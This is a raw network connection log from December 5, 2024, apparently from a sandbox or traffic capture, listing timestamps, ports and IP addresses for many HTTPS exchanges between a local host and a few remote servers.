Dec 5, 2024 22:17:11.339703083 CET	443	49849	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.340070963 CET	49849	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.340076923 CET	443	49849	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.505121946 CET	443	49851	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.505592108 CET	49851	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.505614042 CET	443	49851	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.506156921 CET	49851	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.506161928 CET	443	49851	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.640686035 CET	443	49847	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.640758991 CET	443	49847	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.640818119 CET	49847	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.640980959 CET	49847	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.640999079 CET	443	49847	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.641016006 CET	49847	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.641021013 CET	443	49847	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.644134045 CET	49857	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.644169092 CET	443	49857	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.644248962 CET	49857	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.644403934 CET	49857	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.644418001 CET	443	49857	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.694221020 CET	443	49848	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.694282055 CET	443	49848	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.694341898 CET	49848	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.694489002 CET	49848	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.694503069 CET	443	49848	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.694514990 CET	49848	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.694519997 CET	443	49848	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.697041035 CET	49858	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.697082043 CET	443	49858	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.697163105 CET	49858	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.697318077 CET	49858	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.697329998 CET	443	49858	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.720048904 CET	443	49849	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.720110893 CET	443	49849	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.720169067 CET	49849	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.720314026 CET	49849	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.720329046 CET	443	49849	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.720339060 CET	49849	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.720344067 CET	443	49849	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.722296000 CET	49859	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.722322941 CET	443	49859	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.722526073 CET	49859	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.722526073 CET	49859	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.722549915 CET	443	49859	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.774254084 CET	443	49850	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.774369001 CET	443	49850	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.774424076 CET	49850	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.774496078 CET	49850	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.774502039 CET	443	49850	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.774518013 CET	49850	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.774522066 CET	443	49850	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.776436090 CET	49860	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.776462078 CET	443	49860	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.776527882 CET	49860	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.776637077 CET	49860	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.776652098 CET	443	49860	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.939718962 CET	443	49851	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.939795017 CET	443	49851	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.939843893 CET	49851	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.940587044 CET	49851	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.940598011 CET	443	49851	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.940609932 CET	49851	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.940615892 CET	443	49851	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.943281889 CET	49861	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.943300009 CET	443	49861	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:11.943380117 CET	49861	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.943494081 CET	49861	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:11.943506956 CET	443	49861	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.176379919 CET	443	49852	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.176645041 CET	49852	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:12.176670074 CET	443	49852	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.177201033 CET	443	49852	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.177514076 CET	49852	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:12.177576065 CET	443	49852	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.177856922 CET	49852	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:12.223326921 CET	443	49852	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.664177895 CET	443	49852	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.664215088 CET	443	49852	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.664230108 CET	443	49852	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.664297104 CET	49852	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:12.664313078 CET	443	49852	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.664359093 CET	49852	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:12.664453983 CET	443	49852	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.664501905 CET	49852	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:12.664503098 CET	443	49852	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.664547920 CET	49852	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:12.665851116 CET	49852	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:12.665863037 CET	443	49852	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.669935942 CET	49746	80	192.168.2.4	3.5.128.104
Dec 5, 2024 22:17:12.706860065 CET	443	49853	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.707118034 CET	49853	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:12.707132101 CET	443	49853	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.707597017 CET	443	49853	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.707993031 CET	49853	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:12.708017111 CET	49853	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:12.708081007 CET	443	49853	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.708893061 CET	443	49854	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.709060907 CET	49854	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:12.709070921 CET	443	49854	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.709156990 CET	443	49855	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.709296942 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.709311008 CET	49855	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:12.709321022 CET	443	49855	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.709441900 CET	443	49854	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.709449053 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:12.709455967 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.709732056 CET	49854	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:12.709786892 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.709796906 CET	443	49854	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.709819078 CET	49854	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:12.710086107 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:12.710144043 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.710169077 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:12.710333109 CET	443	49855	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.710387945 CET	49855	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:12.710685015 CET	49855	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:12.710743904 CET	443	49855	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.710764885 CET	49855	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:12.749247074 CET	49853	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:12.751334906 CET	443	49855	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.755326033 CET	443	49854	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.755332947 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.764600039 CET	49854	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:12.764601946 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:12.764601946 CET	49855	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:12.764612913 CET	443	49855	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:12.790323973 CET	80	49746	3.5.128.104	192.168.2.4
Dec 5, 2024 22:17:12.790498018 CET	49746	80	192.168.2.4	3.5.128.104
Dec 5, 2024 22:17:12.810411930 CET	49855	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.148691893 CET	443	49854	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.148715019 CET	443	49854	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.148772001 CET	49854	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.148792028 CET	443	49854	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.148837090 CET	443	49855	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.148859024 CET	443	49855	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.148924112 CET	49855	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.148932934 CET	443	49855	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.149008036 CET	49855	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.149786949 CET	49854	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.149826050 CET	443	49854	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.149981022 CET	443	49854	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.150015116 CET	49854	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.150053024 CET	49854	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.151055098 CET	49855	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.151072979 CET	443	49855	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.154162884 CET	49862	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.154194117 CET	443	49862	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.154316902 CET	49862	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.154812098 CET	49862	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.154825926 CET	443	49862	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.155220985 CET	49863	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.155241966 CET	443	49853	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.155261040 CET	443	49863	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.155261993 CET	443	49853	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.155302048 CET	49853	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.155308962 CET	443	49853	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.155333996 CET	49853	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.155360937 CET	49863	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.155570984 CET	49863	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.155585051 CET	443	49863	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.156409979 CET	49853	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.156430960 CET	443	49853	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.156537056 CET	49853	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.160402060 CET	49864	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.160435915 CET	443	49864	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.160670996 CET	49864	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.160877943 CET	49864	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.160888910 CET	443	49864	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.190809011 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.190829039 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.190835953 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.190865993 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.190884113 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.190892935 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.190895081 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.190913916 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.190929890 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.190951109 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.195676088 CET	49865	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.195699930 CET	443	49865	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.195786953 CET	49865	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.196137905 CET	49866	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.196152925 CET	443	49866	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.196229935 CET	49866	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.196903944 CET	49865	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.196921110 CET	443	49865	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.197329998 CET	49866	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.197340012 CET	443	49866	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.359357119 CET	443	49857	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.360548019 CET	49857	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.360575914 CET	443	49857	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.361187935 CET	49857	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.361191988 CET	443	49857	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.374427080 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.374453068 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.374489069 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.374511003 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.374537945 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.374557018 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.418633938 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.418653011 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.418744087 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.418756008 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.418967009 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.428874016 CET	443	49858	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.433455944 CET	49858	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.433474064 CET	443	49858	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.433890104 CET	49858	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.433895111 CET	443	49858	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.446743965 CET	443	49859	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.447057962 CET	49859	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.447072029 CET	443	49859	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.447617054 CET	49859	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.447622061 CET	443	49859	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.475689888 CET	443	49861	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.480072975 CET	49861	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.480093956 CET	443	49861	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.480905056 CET	49861	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.480911016 CET	443	49861	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.500096083 CET	443	49860	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.539907932 CET	49860	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.539921999 CET	443	49860	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.540601969 CET	49860	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.540606022 CET	443	49860	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.547728062 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.547746897 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.547786951 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.547800064 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.547830105 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.547843933 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.580638885 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.580662966 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.580761909 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.580771923 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.580806971 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.606988907 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.607012987 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.607085943 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.607098103 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.607140064 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.628376007 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.628393888 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.628453016 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.628463030 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.628510952 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.631479979 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.631526947 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.631531954 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.631557941 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.631597042 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.703464985 CET	49856	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.703495026 CET	443	49856	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.794173956 CET	443	49857	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.794229031 CET	443	49857	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.794305086 CET	49857	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.859019041 CET	49857	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.859045982 CET	443	49857	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.859056950 CET	49857	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.859062910 CET	443	49857	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.863452911 CET	443	49858	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.863523960 CET	443	49858	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.863609076 CET	49858	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.881185055 CET	443	49859	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.881383896 CET	443	49859	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.881453037 CET	49859	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.899687052 CET	49868	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.899729013 CET	443	49868	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.899806023 CET	49868	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.899950027 CET	49858	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.899969101 CET	443	49858	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.899981022 CET	49858	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.899986029 CET	443	49858	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.900217056 CET	49859	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.900223970 CET	443	49859	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.900276899 CET	49859	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.900281906 CET	443	49859	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.902724981 CET	49868	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.902736902 CET	443	49868	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.903865099 CET	49869	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.903903961 CET	443	49869	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.903975964 CET	49869	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.904774904 CET	49869	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.904791117 CET	443	49869	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.904944897 CET	49870	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.904957056 CET	443	49870	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.905024052 CET	49870	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.905155897 CET	49870	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.905165911 CET	443	49870	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.910106897 CET	443	49861	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.910176039 CET	443	49861	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.910248041 CET	49861	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.910357952 CET	49861	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.910368919 CET	443	49861	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.910378933 CET	49861	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.910384893 CET	443	49861	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.912161112 CET	49871	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.912169933 CET	443	49871	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.912235022 CET	49871	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.912332058 CET	49871	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.912343979 CET	443	49871	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.935062885 CET	443	49860	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.935116053 CET	443	49860	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.935211897 CET	49860	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.935894012 CET	49860	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.935914993 CET	443	49860	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.935930014 CET	49860	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.935941935 CET	443	49860	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.939553976 CET	49872	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.939577103 CET	443	49872	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:13.939642906 CET	49872	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.939778090 CET	49872	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:13.939786911 CET	443	49872	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:14.435909986 CET	443	49827	142.250.181.100	192.168.2.4
Dec 5, 2024 22:17:14.435969114 CET	443	49827	142.250.181.100	192.168.2.4
Dec 5, 2024 22:17:14.436031103 CET	49827	443	192.168.2.4	142.250.181.100
Dec 5, 2024 22:17:14.877608061 CET	443	49862	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:14.877671003 CET	443	49863	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:14.877927065 CET	49862	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:14.877954960 CET	443	49862	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:14.878067970 CET	49863	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:14.878089905 CET	443	49863	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:14.878276110 CET	443	49862	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:14.878321886 CET	443	49864	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:14.878499031 CET	443	49863	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:14.878691912 CET	49862	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:14.878742933 CET	443	49862	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:14.878904104 CET	49864	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:14.878918886 CET	443	49864	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:14.879146099 CET	49863	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:14.879209995 CET	443	49863	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:14.879307032 CET	49862	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:14.879360914 CET	49863	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:14.879945993 CET	443	49864	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:14.880013943 CET	49864	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:14.880312920 CET	49864	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:14.880373955 CET	443	49864	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:14.880389929 CET	49864	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:14.913822889 CET	443	49865	13.107.246.63	192.168.2.4
Dec 5, 2024 22:17:14.914613962 CET	49865	443	192.168.2.4	13.107.246.63
Dec 5, 2024 22:17:14.914629936 CET	443	49865	13.107.246.63	192.168.2.4
